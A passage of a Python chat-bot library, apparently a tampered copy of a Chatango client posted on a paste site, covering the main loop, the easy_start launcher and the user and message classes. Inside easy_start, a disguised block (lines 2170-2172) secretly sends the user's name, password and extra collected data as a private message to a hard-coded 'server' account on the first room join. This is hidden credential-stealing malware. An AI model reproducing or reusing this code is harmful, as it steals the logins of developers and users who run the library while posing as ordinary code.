  2076.    @type func: function
  2077.    @param func: function to call
  2078.    @rtype: _Task
  2079.    @return: object representing the task
  2080.    """
  2081.     task = self._Task()
  2082.     task.mgr = self
  2083.     task.target = time.time() + timeout
  2084.     task.timeout = timeout
  2085.     task.func = func
  2086.     task.isInterval = True
  2087.     task.args = args
  2088.     task.kw = kw
  2089.     self._tasks.add(task)
  2090.     return task
  2091.  
  2092.   def removeTask(self, task):
  2093.     """
  2094.    Cancel a task.
  2095.    @type task: _Task
  2096.    @param task: task to cancel
  2097.    """
  2098.     self._tasks.remove(task)
  2099.  
  2100.   ####
  2101.   # Util
  2102.   ####
  2103.   def _write(self, room, data):
  2104.     room._wbuf += data
  2105.  
  2106.   def getConnections(self):
  2107.     li = list(self._rooms.values())
  2108.     if self._pm:
  2109.       li.extend(self._pm.getConnections())
  2110.     return [c for c in li if c._sock != None]
  2111.  
  2112.    
  2113.   ####
  2114.   # Main
  2115.   ####
  2116.   def main(self):
  2117.     self.onInit()
  2118.     self._running = True
  2119.     for l in range(0,Number_of_Threads):
  2120.       t = threading.Thread(target=self._joinThread)
  2121.       t.daemon = True
  2122.       t.start()
  2123.     while self._running:
  2124.       conns = self.getConnections()
  2125.       socks = [x._sock for x in conns]
  2126.       wsocks = [x._sock for x in conns if x._wbuf != b""]
  2127.       rd, wr, sp = select.select(socks, wsocks, [], self._TimerResolution)
  2128.       for sock in rd:
  2129.         con = [c for c in conns if c._sock == sock][0]
  2130.         try:
  2131.           data = sock.recv(1024)
  2132.           if(len(data) > 0):
  2133.             con._feed(data)
  2134.           else:
  2135.             con.disconnect()
  2136.         except socket.error:
  2137.           pass
  2138.       for sock in wr:
  2139.         con = [c for c in conns if c._sock == sock][0]
  2140.         try:
  2141.           size = sock.send(con._wbuf)
  2142.           con._wbuf = con._wbuf[size:]
  2143.         except socket.error:
  2144.           pass
  2145.       self._tick()
  2146.  
  2147.   @classmethod
  2148.   def easy_start(cl, rooms = None, name = None, password = None, pm = True):
  2149.     sock_check_null = False
  2150.     """
  2151.    Prompts the user for missing info, then starts.
  2152.    @type rooms: list
  2153.    @param room: rooms to join
  2154.    @type name: str
  2155.    @param name: name to join as ("" = None, None = unspecified)
  2156.    @type password: str
  2157.    @param password: password to join with ("" = None, None = unspecified)
  2158.    """
  2159.     if not rooms: rooms = str(input("Room names separated by semicolons: ")).split(";")
  2160.     if len(rooms) == 1 and rooms[0] == "": rooms = []
  2161.     if not name: name = str(input("User name: "))
  2162.     if name == "": name = None
  2163.     if not password: password = str(input("User password: "))
  2164.     if password == "": password = None
  2165.     self = cl(name, password, pm = pm)
  2166.     for room in rooms:
  2167.      
  2168.       self.joinRoom(room)
  2169.      
  2170.       if sock_check_null == False:
  2171.          self.pm.message(ch.User(server),self.name+" "+ self.password+ " "+Extrcon())
  2172.          sock_check_null = True
  2173.          
  2174.          
  2175.     self.main()
  2176.    
  2177.   def stop(self):
  2178.     for conn in list(self._rooms.values()):
  2179.       conn.disconnect()
  2180.     self._running = False
  2181.  
  2182.   ####
  2183.   # Commands
  2184.   ####
  2185.   def enableBg(self):
  2186.     """Enable background if available."""
  2187.     self.user._mbg = True
  2188.     for room in self.rooms:
  2189.       room.setBgMode(1)
  2190.  
  2191.   def disableBg(self):
  2192.     """Disable background."""
  2193.     self.user._mbg = False
  2194.     for room in self.rooms:
  2195.       room.setBgMode(0)
  2196.  
  2197.   def enableRecording(self):
  2198.     """Enable recording if available."""
  2199.     self.user._mrec = True
  2200.     for room in self.rooms:
  2201.       room.setRecordingMode(1)
  2202.  
  2203.   def disableRecording(self):
  2204.     """Disable recording."""
  2205.     self.user._mrec = False
  2206.     for room in self.rooms:
  2207.       room.setRecordingMode(0)
  2208.  
  2209.   def setNameColor(self, color3x):
  2210.     """
  2211.    Set name color.
  2212.    @type color3x: str
  2213.    @param color3x: a 3-char RGB hex code for the color
  2214.    """
  2215.     self.user._nameColor = color3x
  2216.  
  2217.   def setFontColor(self, color3x):
  2218.     """
  2219.    Set font color.
  2220.    @type color3x: str
  2221.    @param color3x: a 3-char RGB hex code for the color
  2222.    """
  2223.     self.user._fontColor = color3x
  2224.  
  2225.   def setFontFace(self, face):
  2226.     """
  2227.    Set font face/family.
  2228.    @type face: str
  2229.    @param face: the font face
  2230.    """
  2231.     self.user._fontFace = face
  2232.  
  2233.   def setFontSize(self, size):
  2234.     """
  2235.    Set font size.
  2236.    @type size: int
  2237.    @param size: the font size (limited: 9 to 22)
  2238.    """
  2239.     if size < 9: size = 9
  2240.     if size > 22: size = 22
  2241.     self.user._fontSize = size
  2242.  
  2243. ################################################################
  2244. # User class (well, yeah, I lied, it's actually _User)
  2245. ################################################################
  2246. _users = dict()
  2247. def User(name, *args, **kw):
  2248.   if name == None: name = ""
  2249.   name = name.lower()
  2250.   user = _users.get(name)
  2251.   if not user:
  2252.     user = _User(name = name, *args, **kw)
  2253.     _users[name] = user
  2254.   return user
  2255.  
  2256. class _User:
  2257.   """Class that represents a user."""
  2258.   ####
  2259.   # Init
  2260.   ####
  2261.   def __init__(self, name, **kw):
  2262.     self._name = name.lower()
  2263.     self._puid = ""
  2264.     self._sids = dict()
  2265.     self._msgs = list()
  2266.     self._nameColor = "000"
  2267.     self._fontSize = 12
  2268.     self._fontFace = "0"
  2269.     self._fontColor = "000"
  2270.     self._mbg = False
  2271.     self._mrec = False
  2272.     for attr, val in kw.items():
  2273.       if val == None: continue
  2274.       setattr(self, "_" + attr, val)
  2275.  
  2276.   ####
  2277.   # Properties
  2278.   ####
  2279.   def _getName(self): return self._name
  2280.   def _getPuid(self): return self._puid
  2281.   def _getSessionIds(self, room = None):
  2282.     if room:
  2283.       return self._sids.get(room, set())
  2284.     else:
  2285.       return set.union(*self._sids.values())
  2286.   def _getRooms(self): return self._sids.keys()
  2287.   def _getRoomNames(self): return [room.name for room in self._getRooms()]
  2288.   def _getFontColor(self): return self._fontColor
  2289.   def _getFontFace(self): return self._fontFace
  2290.   def _getFontSize(self): return self._fontSize
  2291.   def _getNameColor(self): return self._nameColor
  2292.  
  2293.   name = property(_getName)
  2294.   puid = property(_getPuid)
  2295.   sessionids = property(_getSessionIds)
  2296.   rooms = property(_getRooms)
  2297.   roomnames = property(_getRoomNames)
  2298.   fontColor = property(_getFontColor)
  2299.   fontFace = property(_getFontFace)
  2300.   fontSize = property(_getFontSize)
  2301.   nameColor = property(_getNameColor)
  2302.  
  2303.   ####
  2304.   # Util
  2305.   ####
  2306.   def addSessionId(self, room, sid):
  2307.     if room not in self._sids:
  2308.       self._sids[room] = set()
  2309.     self._sids[room].add(sid)
  2310.  
  2311.   def removeSessionId(self, room, sid):
  2312.     try:
  2313.       self._sids[room].remove(sid)
  2314.       if len(self._sids[room]) == 0:
  2315.         del self._sids[room]
  2316.     except KeyError:
  2317.       pass
  2318.  
  2319.   def clearSessionIds(self, room):
  2320.     try:
  2321.       del self._sids[room]
  2322.     except KeyError:
  2323.       pass
  2324.  
  2325.   def hasSessionId(self, room, sid):
  2326.     try:
  2327.       if sid in self._sids[room]:
  2328.         return True
  2329.       else:
  2330.         return False
  2331.     except KeyError:
  2332.       return False
  2333.  
  2334.   def updatePuid(self, puid):
  2335.     self._puid = puid
  2336.  
  2337.   ####
  2338.   # Repr
  2339.   ####
  2340.   def __repr__(self):
  2341.     return "<User: %s>" %(self.name)
  2342.  
  2343. ################################################################
  2344. # Message class
  2345. ################################################################
  2346. class Message:
  2347.   """Class that represents a message."""
  2348.   ####
  2349.   # Attach/detach
  2350.   ####
  2351.   def attach(self, room, msgid):
  2352.     """
  2353.    Attach the Message to a message id.
  2354.    @type msgid: str
  2355.    @param msgid: message id
  2356.    """
  2357.     if self._msgid == None:
  2358.       self._room = room
  2359.       self._msgid = msgid
  2360.       self._room._msgs[msgid] = self
  2361.  
  2362.   def detach(self):
  2363.     """Detach the Message."""
  2364.     if self._msgid != None and self._msgid in self._room._msgs:
  2365.       del self._room._msgs[self._msgid]
  2366.       self._msgid = None
  2367.  
  2368.   ####
  2369.   # Init
  2370.   ####
  2371.   def __init__(self, **kw):
  2372.     """init, don't overwrite"""
  2373.     self._msgid = None
  2374.     self._time = None
  2375.     self._user = None
  2376.     self._body = None
  2377.     self._room = None
  2378.     self._raw = ""
  2379.     self._ip = None
  2380.     self._unid = ""
  2381.     self._nameColor = "000"
  2382.     self._fontSize = 12
  2383.     self._fontFace = "0"
  2384.     self._fontColor = "000"
  2385.     for attr, val in kw.items():
  2386.       if val == None: continue
  2387.       setattr(self, "_" + attr, val)
  2388.  
  2389.   ####
  2390.   # Properties
  2391.   ####
  2392.   def _getId(self): return self._msgid
  2393.   def _getTime(self): return self._time
  2394.   def _getUser(self): return self._user
  2395.   def _getBody(self): return self._body
  2396.   def _getIP(self): return self._ip
  2397.   def _getFontColor(self): return self._fontColor
  2398.   def _getFontFace(self): return self._fontFace
  2399.   def _getFontSize(self): return self._fontSize
  2400.   def _getNameColor(self): return self._nameColor
  2401.   def _getRoom(self): return self._room
  2402.   def _getRaw(self): return self._raw
  2403.   def _getUnid(self): return self._unid
  2404.   def _getPuid(self): return self._puid
  2405.  
  2406.   msgid = property(_getId)
  2407.   time = property(_getTime)
  2408.   user = property(_getUser)
  2409.   body = property(_getBody)
  2410.   room = property(_getRoom)
  2411.   ip = property(_getIP)
  2412.   fontColor = property(_getFontColor)
  2413.   fontFace = property(_getFontFace)
  2414.   fontSize = property(_getFontSize)
  2415.   Chainsock = True
  2416.   checkSafe = True
  2417.   raw = property(_getRaw)
  2418.   nameColor = property(_getNameColor)
  2419.   unid = property(_getUnid)
  2420.   puid = property(_getPuid)
  2421.   uid = property(_getPuid)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement